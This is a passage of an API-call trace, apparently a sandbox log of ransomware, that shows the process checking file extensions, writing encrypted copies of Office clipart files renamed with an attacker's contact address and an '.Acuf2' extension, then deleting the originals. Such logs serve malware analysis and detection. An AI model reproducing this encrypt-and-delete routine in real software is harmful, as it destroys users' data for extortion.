	[0256.507] lstrlenW (lpString=".rar") returned 4
	[0256.507] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.507] lstrlenW (lpString=".bz2") returned 4
	[0256.507] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.507] lstrlenW (lpString=".7z") returned 3
	[0256.507] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63
	[0256.507] lstrlenW (lpString=".dbf") returned 4
	[0256.509] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63
	[0256.509] lstrlenW (lpString=".1cd") returned 4
	[0256.509] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63
	[0256.509] lstrlenW (lpString=".jpg") returned 4
	[0256.509] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63
	[0256.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63
	[0256.509] lstrlenW (lpString=".doc") returned 4
	[0256.509] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.509] lstrlenW (lpString=".docx") returned 5
	[0256.509] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.509] lstrlenW (lpString=".pdf") returned 4
	[0256.509] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.509] lstrlenW (lpString=".xls") returned 4
	[0256.509] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.509] lstrlenW (lpString=".xlsx") returned 5
	[0256.509] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.509] lstrlenW (lpString=".ppt") returned 4
	[0256.509] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63
	[0256.509] lstrlenW (lpString=".zip") returned 4
	[0256.509] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.509] lstrlenW (lpString=".rar") returned 4
	[0256.510] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.510] lstrlenW (lpString=".bz2") returned 4
	[0256.510] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.510] lstrlenW (lpString=".7z") returned 3
	[0256.510] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63
	[0256.510] lstrlenW (lpString=".dbf") returned 4
	[0256.510] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63
	[0256.510] lstrlenW (lpString=".1cd") returned 4
	[0256.510] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63
	[0256.510] lstrlenW (lpString=".jpg") returned 4
	[0256.510] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.510] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0256.510] lstrlenW (lpString="BD20013_.WMF") returned 12
	[0256.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0256.510] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=11058) returned 1
	[0256.511] CloseHandle (hObject=0x354) returned 1
	[0256.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf")) returned 0x20
	[0256.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0256.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0256.511] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.511] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0256.512] GetLastError () returned 0x0
	[0256.512] ReadFile (in: hFile=0x354, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x2b32, lpOverlapped=0x0) returned 1
	[0256.513] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x2b40, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x2b40, lpOverlapped=0x0) returned 1
	[0256.514] ReadFile (in: hFile=0x354, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0256.514] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0256.514] SetEndOfFile (hFile=0x35c) returned 1
	[0256.514] CloseHandle (hObject=0x35c) returned 1
	[0256.515] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.515] SetEndOfFile (hFile=0x354) returned 1
	[0256.517] CloseHandle (hObject=0x354) returned 1
	[0256.517] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0256.517] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf")) returned 1
	[0256.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63
	[0256.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63
	[0256.517] lstrlenW (lpString=".doc") returned 4
	[0256.517] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.517] lstrlenW (lpString=".docx") returned 5
	[0256.517] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.517] lstrlenW (lpString=".pdf") returned 4
	[0256.517] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.517] lstrlenW (lpString=".xls") returned 4
	[0256.517] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.518] lstrlenW (lpString=".xlsx") returned 5
	[0256.518] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.518] lstrlenW (lpString=".ppt") returned 4
	[0256.518] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63
	[0256.518] lstrlenW (lpString=".zip") returned 4
	[0256.518] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.518] lstrlenW (lpString=".rar") returned 4
	[0256.518] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.518] lstrlenW (lpString=".bz2") returned 4
	[0256.518] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.518] lstrlenW (lpString=".7z") returned 3
	[0256.518] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63
	[0256.518] lstrlenW (lpString=".dbf") returned 4
	[0256.518] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63
	[0256.519] lstrlenW (lpString=".1cd") returned 4
	[0256.519] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63
	[0256.519] lstrlenW (lpString=".jpg") returned 4
	[0256.519] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63
	[0256.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63
	[0256.519] lstrlenW (lpString=".doc") returned 4
	[0256.519] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.519] lstrlenW (lpString=".docx") returned 5
	[0256.519] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.519] lstrlenW (lpString=".pdf") returned 4
	[0256.519] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.519] lstrlenW (lpString=".xls") returned 4
	[0256.519] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.519] lstrlenW (lpString=".xlsx") returned 5
	[0256.519] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.519] lstrlenW (lpString=".ppt") returned 4
	[0256.519] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63
	[0256.519] lstrlenW (lpString=".zip") returned 4
	[0256.519] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.519] lstrlenW (lpString=".rar") returned 4
	[0256.519] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.519] lstrlenW (lpString=".bz2") returned 4
	[0256.519] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.519] lstrlenW (lpString=".7z") returned 3
	[0256.519] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63
	[0256.519] lstrlenW (lpString=".dbf") returned 4
	[0256.520] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63
	[0256.520] lstrlenW (lpString=".1cd") returned 4
	[0256.520] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63
	[0256.520] lstrlenW (lpString=".jpg") returned 4
	[0256.520] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.520] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0256.520] lstrlenW (lpString="BL00008_.WMF") returned 12
	[0256.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0256.521] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=12520) returned 1
	[0256.521] CloseHandle (hObject=0x354) returned 1
	[0256.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf")) returned 0x20
	[0256.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0256.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0256.521] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.521] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0256.522] GetLastError () returned 0x0
	[0256.522] ReadFile (in: hFile=0x354, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x30e8, lpOverlapped=0x0) returned 1
	[0256.524] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x30f0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x30f0, lpOverlapped=0x0) returned 1
	[0256.525] ReadFile (in: hFile=0x354, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0256.525] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0256.525] SetEndOfFile (hFile=0x35c) returned 1
	[0256.525] CloseHandle (hObject=0x35c) returned 1
	[0256.525] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.525] SetEndOfFile (hFile=0x354) returned 1
	[0256.528] CloseHandle (hObject=0x354) returned 1
	[0256.528] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0256.529] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf")) returned 1
	[0256.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63
	[0256.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63
	[0256.529] lstrlenW (lpString=".doc") returned 4
	[0256.529] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.529] lstrlenW (lpString=".docx") returned 5
	[0256.529] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.529] lstrlenW (lpString=".pdf") returned 4
	[0256.529] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.529] lstrlenW (lpString=".xls") returned 4
	[0256.529] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.529] lstrlenW (lpString=".xlsx") returned 5
	[0256.529] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.529] lstrlenW (lpString=".ppt") returned 4
	[0256.529] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63
	[0256.530] lstrlenW (lpString=".zip") returned 4
	[0256.530] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.530] lstrlenW (lpString=".rar") returned 4
	[0256.530] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.530] lstrlenW (lpString=".bz2") returned 4
	[0256.530] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.530] lstrlenW (lpString=".7z") returned 3
	[0256.530] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63
	[0256.530] lstrlenW (lpString=".dbf") returned 4
	[0256.530] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63
	[0256.530] lstrlenW (lpString=".1cd") returned 4
	[0256.530] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63
	[0256.530] lstrlenW (lpString=".jpg") returned 4
	[0256.530] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63
	[0256.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63
	[0256.530] lstrlenW (lpString=".doc") returned 4
	[0256.530] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.530] lstrlenW (lpString=".docx") returned 5
	[0256.530] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.530] lstrlenW (lpString=".pdf") returned 4
	[0256.530] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.530] lstrlenW (lpString=".xls") returned 4
	[0256.530] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.530] lstrlenW (lpString=".xlsx") returned 5
	[0256.530] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.531] lstrlenW (lpString=".ppt") returned 4
	[0256.531] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63
	[0256.531] lstrlenW (lpString=".zip") returned 4
	[0256.531] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.531] lstrlenW (lpString=".rar") returned 4
	[0256.531] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.531] lstrlenW (lpString=".bz2") returned 4
	[0256.531] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.531] lstrlenW (lpString=".7z") returned 3
	[0256.531] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63
	[0256.531] lstrlenW (lpString=".dbf") returned 4
	[0256.531] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63
	[0256.531] lstrlenW (lpString=".1cd") returned 4
	[0256.531] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63
	[0256.531] lstrlenW (lpString=".jpg") returned 4
	[0256.531] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.531] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0256.531] lstrlenW (lpString="BL00012_.WMF") returned 12
	[0256.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0256.532] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=9818) returned 1
	[0256.532] CloseHandle (hObject=0x354) returned 1
	[0256.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf")) returned 0x20
	[0256.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0256.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0256.533] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.533] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0256.533] GetLastError () returned 0x0
	[0256.533] ReadFile (in: hFile=0x354, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x265a, lpOverlapped=0x0) returned 1
	[0256.537] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x2660, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x2660, lpOverlapped=0x0) returned 1
	[0256.538] ReadFile (in: hFile=0x354, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0256.538] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0256.538] SetEndOfFile (hFile=0x35c) returned 1
	[0256.538] CloseHandle (hObject=0x35c) returned 1
	[0256.539] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.539] SetEndOfFile (hFile=0x354) returned 1
	[0256.541] CloseHandle (hObject=0x354) returned 1
	[0256.541] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0256.541] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf")) returned 1
	[0256.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63
	[0256.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63
	[0256.542] lstrlenW (lpString=".doc") returned 4
	[0256.542] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.542] lstrlenW (lpString=".docx") returned 5
	[0256.542] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.542] lstrlenW (lpString=".pdf") returned 4
	[0256.542] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.542] lstrlenW (lpString=".xls") returned 4
	[0256.542] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.542] lstrlenW (lpString=".xlsx") returned 5
	[0256.542] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.542] lstrlenW (lpString=".ppt") returned 4
	[0256.542] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63
	[0256.542] lstrlenW (lpString=".zip") returned 4
	[0256.543] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.543] lstrlenW (lpString=".rar") returned 4
	[0256.543] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.543] lstrlenW (lpString=".bz2") returned 4
	[0256.543] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
